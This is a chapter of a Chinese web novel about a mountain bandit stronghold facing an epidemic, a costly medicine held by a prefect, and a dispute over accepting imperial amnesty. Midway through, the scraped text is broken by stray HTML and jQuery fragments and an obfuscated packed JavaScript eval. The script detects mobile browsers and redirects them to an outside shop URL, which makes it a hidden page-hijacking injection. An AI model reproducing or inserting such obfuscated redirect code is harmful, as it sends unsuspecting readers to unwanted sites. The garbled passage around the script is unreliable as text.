崔执瑶走出几步，又蓦然驻足。纪文焕紧随其后，猝不及防，险险停在她身侧。


    她回身问道：“你也曾在朝为官。依你看，若让我爹以崔员外的名义，向那知府求购月心苔……可行否？”


    纪文焕略一思忖，面色却未见轻松：“名目上自然可行。只是月心苔价值连城，以我对这等官吏脾性的了解，既已入手，若想叫他吐出来，不割下厚厚一层肉，绝无可能。”他顿了顿，伸出几根手指，比划了一个惊人的数目，“至少要这个数吧。”


    崔执瑶看清那手势，沉默下来。


    山寨虽靠承接任务赚取不菲赏金，但日常用度、采买物资，开销本就如流水。眼下骤然要拿出这样一笔巨款，无异于天方夜谭。


    见她神色，纪文焕已然明了。那知府既肯重金购此奇药，必有所图。官场中人，鲜有慈悲心肠，若不能从中得利甚至反要亏折，纵使人命关天，也未必肯割爱。


    从未为银钱所困的纪文焕，此刻也深感棘手：“若我仍在京中，或可设法筹措。可如今……”他微微苦笑，摊手，“我亦是身无分文。”


    崔执瑶思忖片刻，下了决心：“既然别无他法，总要先去试一试。实在不行……”她抬眸，眼神锐利，“我可以去抢。”


    文焕闻言扶额：“你这是打定主意要在匪这条路上一条道走到黑吗？”


    “无论哪条路，”崔执瑶字字如铁，“都没有寨中几百条性命来得要紧。”


    她不再看他，转身就要往主寨方向去：“事不宜迟，我去找我爹商议。”


    “等等。”纪文焕再次叫住她。


    “我同你一起去。”纪文焕道，“正好，我也有事需再与寨主一谈。”


    崔执瑶眯起眼：“你对招安之事，还是贼心不死？”


    “是，”纪文焕坦然承认，甚至向前一步，走在了她前面，“贼心不死。走吧。”


    说罢，他也不等她，径自向前走去。


    ---


    两人一同回到主寨。厅内灯火通明，崔温茂仍守在案前。


    崔执瑶将月心苔之事与自己的打算尽数禀明。崔温茂听罢，并无犹豫：“那就先照你说的办。事不宜迟，你回去略作打点，天不亮便随我动身下山。”


    “是。”崔执瑶应道。


    就在崔温茂准备让他二人先退下时，纪文焕上前一步，拱手道：“寨主，文焕亦有一事要禀。”


    崔温茂看他一眼，似有斟酌，终是道：“讲。”


    纪文焕吸了口气，言辞恳切：“文焕知道，寨主不欲招安，一心以己之力护佑山寨安宁。此等担当与气魄，文焕心中唯有钦佩。然则，今时不同往日。山寨踪迹既露，被官府坐实山匪身份，不过早晚之事。如此庞大一股势力藏于深山，朝廷却一无所知，天子岂能安枕？”


    他语气更添几分恳切，“一旦上达天听，朝廷剿匪，从不论善恶是非，只问‘是否臣服王化’。届时大军压境，寨主纵有通天之能，又能抵挡几时？是世外桃源的虚名要紧，还是寨中上下数百口人安居乐业’的实况更要紧？”


    崔温茂素来温和的面容，此刻无甚表情。


    “便以此次疫病为例，”纪文焕继续道，“文焕不敢居功。但此‘流火症’，便是山下百姓也鲜有知晓，何况长期闭塞、少与外界往来的山寨？若非文焕恰巧知晓些许朔定旧闻，只怕还要多费许多周折。这病若再晚上几日，后果如何，寨主此刻当能想见。”


    他稍顿，声音更沉：“可若山寨归安，疫病一发，便可名正言顺报于官府，上达朝廷。我大翎地广物博，能人辈出，解决起来必当更快。再说这千金难求的月心苔——若为救治百姓，朝廷自当倾力筹措，何须寨主如今这般为难？”


    崔温茂淡淡道：“你这般假设，并无意义。老夫未行招安，如今亦将近解决此事。”


    “是，凭寨主之能，眼下或可渡过此劫。”纪文焕不退反进，“可今日是疫病，来日呢？山寨多年太平，若有一天，遇上天灾、饥荒，凭一寨之力，又当如何？难道届时，还要靠执瑶她们几人下山去劫掠粮食么？又能劫掠多少？”


    “车到山前必有路。”崔温茂道，“你又何必断言，山寨前景定然如此？”


    “纵有路，也必是荆棘满途。”纪文焕言辞恳切，几近苦劝，“此番疫病能解，其中有多少侥幸，寨主心知肚明。难道日后，寨主还敢拿全寨人的性命，再赌下一回么？”


    他望向崔温茂，字字清晰：“您曾说过，山寨隐匿于此，终非长久之计，被发现是迟早之事。有些事看似偶然，实则有其必然。寨主通透至此，岂会看不明白？长居此地，与世隔绝，本就违背人世常理。他们皆是大翎子民，理应受教化，得庇护。除了招安，别无长久安宁之法。文焕愚钝，敢问寨主，您究竟在顾虑什么？”


    一番话落，厅内寂静，只有灯花偶尔爆开的轻响。


    崔温茂并未驳他，只静静看了他许久，才转向一旁沉默的女儿：“阿瑶，你呢？也与他一般想法？”


    崔执瑶垂眸未语。


    这沉默，已是答案。


    崔温茂缓缓阖眼，复又睁开，声音透出些许疲惫：“夜深了，都先回吧。”


    纪文焕还想再言，崔执瑶在旁轻轻拉了一下他的衣袖。他终是将话咽了回去，随崔执瑶一同行礼告退。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17039114|193392||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    ---


    走出主寨，山风裹着夜寒扑面而来。纪文焕犹自心绪难平，忍不住低声道：“寨主素来明理，怎么偏在这件事上，如此固执？”


    崔执瑶忽然问他：“若朝廷当真派重兵来剿，我等会是何下场？”


    纪文焕一怔，如实道：“寨主身为首脑，重则问斩，轻则流放。至于你与陶肃，虽未必处死，但活罪难逃。”他顿了顿，“寨中其余众人，你爹有意瞒着他们，按律‘不知者无罪’，应可幸免……”


    说到这里，他倏然停住，似有所悟，却又未全然明白。


    崔执瑶看着他瞬间变幻的神色，轻声道：“他们上山前，各有各的苦楚，被欺凌，被盘剥，活不下去。我爹答应过他们，在这里，人人平等，再不必过那种仰官府鼻息、受层层压榨的日子。”


    纪文焕恍然，声音发涩：“所以……你爹宁可以身赴险，也不愿主动背弃当年对他们的承诺？”


    崔执瑶点头。


    “那他可曾为你与陶肃想过退路？”


    “也许想过吧。”崔执瑶望向沉沉夜色，声音很轻，“即便没有，我也愿意……与他同赴。”


    夜风吹起她额前的碎发，露出光洁的额头和一双在黑暗中依然明亮的眼睛。那里面没有畏惧，没有悔意，只有一片坦然的坚定。


    纪文焕望着她，忽然觉得胸腔被什么东西填满了，沉甸甸的，又酸又涨，一时竟说不出话来。


    崔执瑶带着探寻问：“你是不是觉得我们这样很傻？”


    纪文焕缓缓摇头：“不。”他语气里有一丝罕见的自嘲，“我只是忽然觉得……自己太自负了。”


    他一向对自己的口才与道理颇有信心，可方才崔执瑶那番平静却坚如磐石的言语，让他骤然清醒——自己犯了一个根本的错。


    任何劝说欲要生效，皆需知己知彼。可他忽然发现，自己从未真正懂得这座山寨。他站在朝堂的视角，搬出那些冠冕堂皇的“长久之计”、“天下大道”，却忘了这里的每一个人，早已在多年的风雨同舟中，铸就了自己的信念与坚守。对他们而言，有些东西，远比安稳的活法更重。


    尤其是对崔执瑶这般在此生、在此长的人而言，要她骤然舍弃这一切，何异于斩断根本？那是很难的。


    崔执瑶显然没跟上他这跳跃的思绪，疑惑地“嗯？”了一声。


    纪文焕却没再多解释，只是伸手，轻轻拉住了她的手腕，带着她往小院的方向走去。


    “没什么。”他迎着夜风，声音被吹得有些散，却又奇异地温柔下来，“你明日还要早早下山。走吧女侠，我们赶紧回去，吃个饭早早歇息了。”